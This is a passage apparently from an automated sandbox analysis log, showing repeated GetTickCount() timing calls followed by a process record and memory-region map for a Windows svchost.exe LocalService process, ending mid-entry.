[0080.247] GetTickCount () returned 0x1a7b3
[0080.295] GetTickCount () returned 0x1a7e2
[0080.295] GetTickCount () returned 0x1a7e2
[0080.295] GetTickCount () returned 0x1a7e2
[0080.339] GetTickCount () returned 0x1a811
[0080.354] GetTickCount () returned 0x1a820
[0080.354] GetTickCount () returned 0x1a820
[0080.354] GetTickCount () returned 0x1a820
[0080.379] GetTickCount () returned 0x1a830
[0080.565] GetTickCount () returned 0x1a8ad
[0080.565] GetTickCount () returned 0x1a8ad
[0080.565] GetTickCount () returned 0x1a8ad
[0080.565] GetTickCount () returned 0x1a8ad
[0080.809] GetTickCount () returned 0x1a997
[0080.809] GetTickCount () returned 0x1a997
[0080.809] GetTickCount () returned 0x1a997
[0080.809] GetTickCount () returned 0x1a997
[0080.809] GetTickCount () returned 0x1a997
[0080.809] GetTickCount () returned 0x1a997
[0080.809] GetTickCount () returned 0x1a997
[0080.809] GetTickCount () returned 0x1a997
[0080.821] GetTickCount () returned 0x1a9a6
[0080.837] GetTickCount () returned 0x1a9b6
[0080.837] GetTickCount () returned 0x1a9b6
[0080.852] GetTickCount () returned 0x1a9c5
[0080.914] GetTickCount () returned 0x1aa04
[0080.930] GetTickCount () returned 0x1aa13
[0080.930] GetTickCount () returned 0x1aa13
[0080.946] GetTickCount () returned 0x1aa23
[0081.024] GetTickCount () returned 0x1aa71
[0081.024] GetTickCount () returned 0x1aa71
[0081.024] GetTickCount () returned 0x1aa71
[0081.040] GetTickCount () returned 0x1aa81
[0081.205] GetTickCount () returned 0x1aacf
[0081.211] GetTickCount () returned 0x1aade
[0081.211] GetTickCount () returned 0x1aade
[0081.249] GetTickCount () returned 0x1aafd
[0081.405] GetTickCount () returned 0x1ab3c
[0081.405] GetTickCount () returned 0x1ab3c
[0081.405] GetTickCount () returned 0x1ab3c
[0081.418] GetTickCount () returned 0x1ab4b
[0081.511] GetTickCount () returned 0x1ab99
[0081.576] GetTickCount () returned 0x1abb9
[0081.576] GetTickCount () returned 0x1abb9
[0081.576] GetTickCount () returned 0x1abb9
[0081.674] GetTickCount () returned 0x1ac07
[0081.674] GetTickCount () returned 0x1ac07
[0081.674] GetTickCount () returned 0x1ac07
[0081.674] GetTickCount () returned 0x1ac07
[0081.691] GetTickCount () returned 0x1ac16
[0081.787] GetTickCount () returned 0x1ac64
[0081.787] GetTickCount () returned 0x1ac64
[0081.787] GetTickCount () returned 0x1ac64
[0081.794] GetTickCount () returned 0x1ac74
[0081.866] GetTickCount () returned 0x1acc2
[0081.883] GetTickCount () returned 0x1acd1
[0081.883] GetTickCount () returned 0x1acd1
[0081.898] GetTickCount () returned 0x1ace1
[0081.961] GetTickCount () returned 0x1ad1f
[0081.975] GetTickCount () returned 0x1ad2f
[0081.975] GetTickCount () returned 0x1ad2f
[0081.992] GetTickCount () returned 0x1ad3f
[0082.069] GetTickCount () returned 0x1ad8d
[0082.085] GetTickCount () returned 0x1ad9c
[0082.085] GetTickCount () returned 0x1ad9c
[0082.100] GetTickCount () returned 0x1adac
[0082.167] GetTickCount () returned 0x1adea
[0082.178] GetTickCount () returned 0x1adfa
[0082.178] GetTickCount () returned 0x1adfa
[0082.194] GetTickCount () returned 0x1ae09
[0082.272] GetTickCount () returned 0x1ae57
[0082.272] GetTickCount () returned 0x1ae57
[0082.272] GetTickCount () returned 0x1ae57
[0082.288] GetTickCount () returned 0x1ae67
[0082.366] GetTickCount () returned 0x1aeb5
[0082.381] GetTickCount () returned 0x1aec5
[0082.381] GetTickCount () returned 0x1aec5
[0082.405] GetTickCount () returned 0x1aed4
[0082.459] GetTickCount () returned 0x1af13
[0082.474] GetTickCount () returned 0x1af22
[0082.474] GetTickCount () returned 0x1af22
[0082.545] GetTickCount () returned 0x1af32
[0082.616] GetTickCount () returned 0x1af80
[0082.637] GetTickCount () returned 0x1af8f
[0082.637] GetTickCount () returned 0x1af8f
[0082.676] GetTickCount () returned 0x1afaf
[0082.772] GetTickCount () returned 0x1b01c
[0082.772] GetTickCount () returned 0x1b01c
[0082.772] GetTickCount () returned 0x1b01c
[0082.772] GetTickCount () returned 0x1b01c
[0082.772] GetTickCount () returned 0x1b01c
[0082.818] GetTickCount () returned 0x1b04b
[0082.833] GetTickCount () returned 0x1b05a
[0082.833] GetTickCount () returned 0x1b05a
[0082.849] GetTickCount () returned 0x1b06a
[0082.921] GetTickCount () returned 0x1b0a8
[0082.952] GetTickCount () returned 0x1b0c7
[0082.952] GetTickCount () returned 0x1b0c7
[0082.952] GetTickCount () returned 0x1b0c7
[0083.021] GetTickCount () returned 0x1b115
[0083.021] GetTickCount () returned 0x1b115
[0083.021] GetTickCount () returned 0x1b115
[0083.039] GetTickCount () returned 0x1b125
[0083.115] GetTickCount () returned 0x1b173
[0083.132] GetTickCount () returned 0x1b183
[0083.132] GetTickCount () returned 0x1b183
[0083.146] GetTickCount () returned 0x1b192
[0083.256] GetTickCount () returned 0x1b1ff
[0083.256] GetTickCount () returned 0x1b1ff
[0083.256] GetTickCount () returned 0x1b1ff
[0083.256] GetTickCount () returned 0x1b1ff
[0083.317] GetTickCount () returned 0x1b23e
[0083.333] GetTickCount () returned 0x1b24d
[0083.333] GetTickCount () returned 0x1b24d
[0083.348] GetTickCount () returned 0x1b25d
[0083.418] GetTickCount () returned 0x1b29b
[0083.426] GetTickCount () returned 0x1b2ab
[0083.426] GetTickCount () returned 0x1b2ab
[0083.504] GetTickCount () returned 0x1b2f9
[0083.521] GetTickCount () returned 0x1b309
[0083.521] GetTickCount () returned 0x1b309
[0083.521] GetTickCount () returned 0x1b309
[0083.538] GetTickCount () returned 0x1b318
[0083.634] GetTickCount () returned 0x1b376
[0083.634] GetTickCount () returned 0x1b376
[0083.634] GetTickCount () returned 0x1b376
Process:
id = "7"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x7f13e200"
os_pid = "0x3dc"
os_integrity_level = "0x4000"
os_privileges = "0x60800000"
monitor_reason = "rpc_server"
parent_id = "6"
os_parent_pid = "0xb98"
cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\Local Service"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c0bc" [0xc000000f], "LOCAL" [0x7]
Region:
id = 1165
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1166
start_va = 0x20000
end_va = 0x26fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000020000"
filename = ""
Region:
id = 1167
start_va = 0x30000
end_va = 0x33fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 1168
start_va = 0x40000
end_va = 0x40fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 1169
start_va = 0x50000
end_va = 0xb6fff
entry_point = 0x50000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1170
start_va = 0xc0000
end_va = 0x13ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000c0000"
filename = ""
Region:
id = 1171
start_va = 0x140000
end_va = 0x141fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000140000"
filename = ""
Region:
id = 1172
start_va = 0x150000
end_va = 0x150fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000150000"
filename = ""
Region:
id = 1173
start_va = 0x160000
end_va = 0x160fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000160000"
filename = ""
Region:
id = 1174
start_va = 0x170000
end_va = 0x1affff
entry_point = 0x0
region_type = private
name = "private_0x0000000000170000"
filename = ""
Region:
id = 1175
start_va = 0x1b0000
end_va = 0x277fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001b0000"
filename = ""
Region:
id = 1176
start_va = 0x280000
end_va = 0x280fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000280000"
filename = ""
Region:
id = 1177
start_va = 0x290000
end_va = 0x29ffff
entry_point = 0x290000
region_type = mapped_file
name = "es.dll"
filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")
Region:
id = 1178
start_va = 0x2a0000
end_va = 0x39ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000002a0000"
filename = ""
Region:
id = 1179
start_va = 0x3a0000
end_va = 0x4a0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003a0000"
filename = ""
Region:
id = 1180
start_va = 0x4b0000
end_va = 0x4effff
entry_point = 0x0
region_type = private
name = "private_0x00000000004b0000"
filename = ""
Region:
id = 1181
start_va = 0x4f0000
end_va = 0x52ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000004f0000"
filename = ""
Region:
id = 1182
start_va = 0x530000
end_va = 0x56ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000530000"
filename = ""
Region:
id = 1183
start_va = 0x570000
end_va = 0x573fff
entry_point = 0x570000
region_type = mapped_file
name = "stdole2.tlb"
filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb")
Region:
id = 1184
start_va = 0x580000
end_va = 0x581fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000580000"
filename = ""
Region:
id = 1185
start_va = 0x590000
end_va = 0x59ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000590000"
filename = ""
Region:
id = 1186
start_va = 0x5a0000
end_va = 0x5a0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000005a0000"
filename = ""
Region:
id = 1187
start_va = 0x5b0000
end_va = 0x5b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005b0000"
filename = ""
Region:
id = 1188
start_va = 0x600000
end_va = 0x60ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000600000"
filename = ""
Region:
id = 1189
start_va = 0x610000
end_va = 0x64ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000610000"
filename = ""
Region:
id = 1190
start_va = 0x6a0000
end_va = 0x6a7fff
entry_point = 0x6a0000
region_type = mapped_file
name = "svchost.exe"
filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")
Region:
id = 1191
start_va = 0x6b0000
end_va = 0xaa2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000006b0000"
filename = ""
Region:
id = 1192
start_va = 0xab0000
end_va = 0xd7efff
entry_point = 0xab0000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1193
start_va = 0xd80000
end_va = 0xdfffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000d80000"
filename = ""
Region:
id = 1194
start_va = 0xe00000
end_va = 0xe3ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000e00000"
filename = ""
Region:
id = 1195
start_va = 0xe80000
end_va = 0xebffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000e80000"
filename = ""
Region:
id = 1196
start_va = 0xef0000
end_va = 0xf2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000ef0000"
filename = ""
Region:
id = 1197
start_va = 0xf40000
end_va = 0xf7ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000f40000"
filename = ""
Region:
id = 1198
start_va = 0xfb0000
end_va = 0xfeffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000fb0000"
filename = ""
Region:
id = 1199
start_va = 0x1010000
end_va = 0x104ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001010000"
filename = ""
Region:
id = 1200
start_va = 0x1070000
end_va = 0x10affff
entry_point = 0x0
region_type = private
name = "private_0x0000000001070000"
filename = ""
Region:
id = 1201
start_va = 0x10c0000
end_va = 0x10cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000010c0000"
filename = ""
Region:
id = 1202
start_va = 0x10f0000
end_va = 0x112ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000010f0000"
filename = ""
Region:
id = 1203
start_va = 0x1130000
end_va = 0x122ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001130000"
filename = ""
Region:
id = 1204
start_va = 0x12c0000
end_va = 0x13bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000012c0000"
filename = ""
Region:
id = 1205
start_va = 0x1430000
end_va = 0x143ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001430000"
filename = ""
Region:
id = 1206
start_va = 0x1460000
end_va = 0x149ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001460000"
filename = ""
Region:
id = 1207
start_va = 0x14a0000
end_va = 0x14dffff
entry_point = 0x0
region_type = private
name = "private_0x00000000014a0000"
filename = ""
Region:
id = 1208
start_va = 0x14e0000
end_va = 0x159ffff
entry_point = 0x14e0000
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")
Region:
id = 1209
start_va = 0x15a0000
end_va = 0x15dffff
entry_point = 0x0
region_type = private
name = "private_0x00000000015a0000"
filename = ""
Region:
id = 1210
start_va = 0x1710000
end_va = 0x174ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001710000"
filename = ""
Region:
id = 1211
start_va = 0x1920000
end_va = 0x195ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001920000"
filename = ""
Region:
id = 1212
start_va = 0x6c840000
end_va = 0x6c847fff
entry_point = 0x6c842ca6
region_type = mapped_file
name = "npmproxy.dll"
filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")
Region:
id = 1213
start_va = 0x6cb10000
end_va = 0x6cb1cfff
entry_point = 0x6cb10000
region_type = mapped_file
name = "sfc_os.dll"
filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll")
Region:
id = 1214
start_va = 0x6cb20000
end_va = 0x6cb22fff
entry_point = 0x6cb20000
region_type = mapped_file
name = "sfc.dll"
filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll")
Region:
id = 1215
start_va = 0x6cb30000
end_va = 0x6cb41fff
entry_point = 0x6cb30000
region_type = mapped_file
name = "aepic.dll"
filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll")
Region:
id = 1216
start_va = 0x6cb50000
end_va = 0x6cbdffff
entry_point = 0x6cb50000
region_type = mapped_file
name = "perftrack.dll"
filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll")
Region:
id = 1217
start_va = 0x6d6f0000
end_va = 0x6d750fff
entry_point = 0x6d6f0000
region_type = mapped_file
name = "wer.dll"
filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")
Region:
id = 1218
start_va = 0x6da20000
end_va = 0x6da25fff
entry_point = 0x6da214b2
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")
Region:
id = 1219
start_va = 0x6e5f0000
end_va = 0x6e604fff
entry_point = 0x6e5f0000
region_type = mapped_file
name = "wdi.dll"
filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll")
Region:
id = 1220
start_va = 0x6f5b0000
end_va = 0x6f5fefff
entry_point = 0x6f5b1452
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 1221
start_va = 0x6f600000
end_va = 0x6f657fff
entry_point = 0x6f6013b4
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")
Region:
id = 1222
start_va = 0x6fb80000
end_va = 0x6fbcbfff
entry_point = 0x6fb82c14
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")
Region:
id = 1223
start_va = 0x6fbf0000
end_va = 0x6fc49fff
entry_point = 0x6fbf1f35
region_type = mapped_file
name = "netprofm.dll"
filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")
Region:
id = 1224
start_va = 0x73850000
end_va = 0x73857fff
entry_point = 0x7385131e
region_type = mapped_file
name = "winrnr.dll"
filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")
Region:
id = 1225
start_va = 0x73860000
end_va = 0x73871fff
entry_point = 0x738618f2
region_type = mapped_file
name = "pnrpnsp.dll"
filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")
Region:
id = 1226
start_va = 0x73880000
end_va = 0x7388ffff
entry_point = 0x73881526
region_type = mapped_file
name = "napinsp.dll"
filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")
Region:
id = 1227
start_va = 0x73a00000
end_va = 0x73a12fff
entry_point = 0x73a01d3f
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")
Region:
id = 1228
start_va = 0x73fa0000
end_va = 0x73fb1fff
entry_point = 0x73fa3271
region_type = mapped_file
name = "dhcpcsvc.dll"
filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")
Region:
id = 1229
start_va = 0x73fc0000
end_va = 0x73fccfff
entry_point = 0x73fc2012
region_type = mapped_file
name = "dhcpcsvc6.dll"
filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")
Region:
id = 1230
start_va = 0x73fe0000
end_va = 0x74017fff
entry_point = 0x73fe990e
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")
Region:
id = 1231
start_va = 0x740d0000
end_va = 0x740d7fff
entry_point = 0x740d0000
region_type = mapped_file
name = "nsisvc.dll"
filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll")
Region:
id = 1232
start_va = 0x740f0000
end_va = 0x740f6fff
entry_point = 0x740f128d
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")
Region:
id = 1233
start_va = 0x74100000
end_va = 0x7411bfff
entry_point = 0x7410a431
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")
Region:
id = 1234
start_va = 0x74150000
end_va = 0x74196fff
entry_point = 0x741689f9
region_type = mapped_file
name = "es.dll"
filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")
Region:
id = 1235
start_va = 0x741c0000
end_va = 0x741c8fff
entry_point = 0x741c0000
region_type = mapped_file
name = "dsrole.dll"
filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")
Region:
id = 1236
start_va = 0x74230000
end_va = 0x7423ffff
entry_point = 0x742338c1
region_type = mapped_file
name = "nlaapi.dll"
filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")
Region:
id = 1237
start_va = 0x74c60000
end_va = 0x74c68fff
entry_point = 0x74c61220
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")
Region:
id = 1238
start_va = 0x74cf0000
end_va = 0x74cf4fff
entry_point = 0x74cf15df
region_type = mapped_file
name = "wshtcpip.dll"
filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")
Region:
id = 1239
start_va = 0x74da0000
end_va = 0x74db5fff
entry_point = 0x74da0000
region_type = mapped_file
name = "gpapi.dll"
filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")
Region:
id = 1240
start_va = 0x74dc0000
end_va = 0x74dd6fff
entry_point = 0x74dc1c9d
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 1241
start_va = 0x74eb0000
end_va = 0x74eb7fff
entry_point = 0x74eb34d3
region_type = mapped_file
name = "credssp.dll"
filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")
Region:
id = 1242
start_va = 0x74f80000
end_va = 0x74fbafff
entry_point = 0x74f8128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 1243
start_va = 0x75060000
end_va = 0x750a3fff
entry_point = 0x750763f9
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")
Region:
id = 1244
start_va = 0x75190000
end_va = 0x75195fff
entry_point = 0x75191673
region_type = mapped_file
name = "wship6.dll"
filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")
Region:
id = 1245
start_va = 0x751a0000
end_va = 0x751dbfff
entry_point = 0x751a145d
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")
Region:
id = 1246
start_va = 0x751e0000
end_va = 0x751f5fff
entry_point = 0x751e2dc3
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Region:
id = 1247
start_va = 0x75620000
end_va = 0x75627fff
entry_point = 0x756210e9
region_type = mapped_file
name = "secur32.dll"
filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")
Region:
id = 1248
start_va = 0x75640000
end_va = 0x7565afff
entry_point = 0x756493b9
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 1249
start_va = 0x75660000
end_va = 0x7566bfff
entry_point = 0x756610e1
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 1250
start_va = 0x75670000
end_va = 0x756cefff
entry_point = 0x75672134
region_type = mapped_file
name = "sxs.dll"
filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")
Region:
id = 1251
start_va = 0x75700000
end_va = 0x7570dfff
entry_point = 0x75701235
region_type = mapped_file
name = "rpcrtremote.dll"
filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")
Region:
id = 1252
start_va = 0x75710000
end_va = 0x7571afff
entry_point = 0x75711992
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 1253
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1254
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 1255
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 1256
start_va = 0x75b20000
end_va = 0x75b54fff
entry_point = 0x75b2145d
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 1257
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1258
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1259
start_va = 0x75e20000
end_va = 0x75e25fff
entry_point = 0x75e21782
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")
Region:
id = 1260
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1261
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 1262
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1263
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1264
start_va = 0x76460000
end_va = 0x764e2fff
entry_point = 0x764623d2
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 1265
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1266
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 1267
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1268
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 1269
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1270
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1271
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77763fb1
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 1272
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 1273
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 1274
start_va = 0x7ffad000
end_va = 0x7ffadfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffad000"
filename = ""
Region:
id = 1275
start_va = 0x7ffae000
end_va = 0x7ffaefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffae000"
filename = ""
Region:
id = 1276
start_va = 0x7ffaf000
end_va = 0x7ffaffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffaf000"
filename = ""
Region:
id = 1277
